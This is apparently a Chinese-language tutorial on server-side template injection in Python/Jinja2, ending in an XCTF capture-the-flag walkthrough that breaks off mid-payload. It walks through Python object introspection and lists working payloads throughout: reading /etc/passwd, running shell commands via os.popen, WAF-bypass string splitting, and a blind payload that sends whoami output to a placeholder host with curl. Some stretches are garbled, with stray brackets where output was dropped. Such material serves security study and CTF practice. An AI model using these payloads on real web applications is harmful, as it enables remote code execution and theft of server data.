目录
基础知识
python类方法
内建函数
获取基类的几种方法
常见payload
利用思路
概念简介
服务器端模板注入(Server-Side Template Injection)
类型判断
简单探测
实战练习
reference
基础知识
python类方法
__class__
用来查看变量所属的类,根据前面的变量形式可以得到其所属的类。 __class__ 是类的一个内置属性,表示类的类型;也是类的实例的属性,表示实例对象的类。
print(''.__class__)
print(type(""))
class test():
pass
class test2():
pass
t1=test()
t2=test2()
print(t1.__class__)
print(t2.__class__)
__bases__
用来查看类的基类,也可以使用数组索引来查看特定位置的值。通过该属性可以查看该类的所有直接父类,该属性返回所有直接父类组成的元组(虽然只有一个元素)。注意是直接父类!
print([].__class__.__bases__)
(
class test():
pass
class test2(test):
pass
t1=test()
t2=test2()
t3=test2()
t4=test()
print(t2.__class__.__bases__)
print(test2.__bases__)
(
(
__mro__
__mro__方法可以用来获取一个类的调用顺序
print(''.__class__.__mro__)
(
class test():
pass
class test2(test):
pass
t1=test()
t2=test2()
print(t1.__class__.__mro__)
print(test2.__mro__)
(
__subclasses__()
当前类的子类组成的列表,即返回基类object的子类
for i in enumerate([].__class__.__bases__[0].__subclasses__()):
print(i)
class test():
pass
class test2(test):
pass
class test3(test):
pass
t1=test()
t2=test2()
t3=test3()
print(t1.__class__.__subclasses__())
print(test2.__subclasses__())
[
内建函数
当我们启动一个 python 解释器时,即时没有创建任何变量或者函数,还是会有很多函数可以使用,我们称之为内建函数。
内建函数并不需要我们自己做定义,而是在启动 python 解释器的时候,就已经导入到内存中供我们使用,想要了解这里面的工作原理,我们可以从名称空间开始。
__builtins__
内建函数,python中可以直接运行一些函数,例如int(),list()等等,这些函数可以在__builtins__中可以查到。查看的方法是dir(__builtins__)
print(dir(__builtins__))
__globals__
__globals__ 对包含函数全局变量的字典的引用
该方法会以字典的形式返回当前位置的所有全局变量,与 func_globals 等价。该属性是函数特有的属性,记录当前文件全局变量的值,如果某个文件调用了 os、sys 等库,但我们只能访问该文件某个函数或者某个对象,那么我们就可以利用 globals 属性访问全局的变量。该属性保存的是函数全局变量的字典引用。
获取基类的几种方法
[].__class__.__base__
''.__class__.__mro__[2]
().__class__.__base__
{}.__class__.__base__
request.__class__.__mro__[8] //针对jinjia2/flask为[9]适用
或者
[].__class__.__bases__[0] //其他的类似
for i in enumerate([].__class__.__base__.__subclasses__()):
print(i)
在py2环境
用file读取文件
>>> ().__class__.__base__.__subclasses__()[40]('/etc/passwd').read()
#!/usr/bin/env python
# encoding: utf-8
num = 0
for item in ''.__class__.__mro__[2].__subclasses__():
try:
if 'os' in item.__init__.__globals__:
print num,item
num+=1
except:
num+=1
python2 a.py 71
().__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].system('ls /')
[].__class__.__base__.__subclasses__()[76].__init__.__globals__['os'].system('ls /')
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').read()
#把 read() 改为 write() 就是写文件
读取目录
().__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].listdir('.')
shell命令执行
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("whoami").read()')
[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.values()[144]('whoami')
常见payload
文件读取
# python3
{{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__['open']('1.py').read()}}
# python2
{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
命令执行
# Python3
{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}
# Python2
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
绕过waf
[].__class__.__base__.__subclasses__()[189].__init__.__globals__['__builtins__']['__imp'+'ort__']('os').__dict__['pop'+'en']('ls').read()
过滤{{或者}}
可以使用{%绕过
{%%}中间可以执行if语句,利用这一点可以进行类似盲注的操作或者外带代码执行结果
{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://ip:端口/?i=`whoami`').read()=='p' %}1{% endif %}
利用思路
这样我们在进行 SSTI 注入的时候就可以通过这种方式使用很多的类和方法,通过子类再去获取子类的子类、更多的方法,找出可以利用的类和方法加以利用。
总之,是通过 python 的对象的继承来一步步实现文件读取和命令执行的:
找到父类
概念简介
服务器端模板注入(Server-Side Template Injection)
模板注入 ——SSTI 存在于 MVC 模式当中的 View 层;M 为 Model 数据层,V 为 View 视图层;C 为 Controller 控制层。而 SSTI 就存在于 View 视图层当中。
当前使用的一些框架,比如python的flask,php的tp,java的spring等一般都采用成熟的的MVC的模式,用户的输入先进入Controller控制器,然后根据请求类型和请求的指令发送给对应Model业务模型进行业务逻辑判断,数据库存取,最后把结果返回给View视图层,经过模板渲染展示给用户。
漏洞成因就是服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。
类型判断
主要的框架
Python:jinja2、 mako、 tornado、 djangophp:smarty、 twigjava:jade、 velocity
简单探测
通过注入模板表达式中常用的特殊字符来尝试模糊模板 ————这也被称作 fuzz 测试
实战练习
题目来源:XCTF.Web_python_template_injection
打开题目,尝试发现输入路由为index.html回显如下信息,看来路由位置的参数可控
这里大胆猜测源码
from flask import Flask
from flask import render_template_string
from flask import request
app = Flask(__name__)
@app.route("/")
def test():
code1 = request.args.get('id')
html='
{{code}}
'return render_template_string(html,code=code1)
app.run()
找到当前变量所在的类
{{''.__class__}}
追踪上面的所有父类
{{''.__class__.__mro__}}
(
找object可用引用
{{''.__class__.__mro__[2].__subclasses__()}}
找到我们想要的os所在的site._Printer类
a='''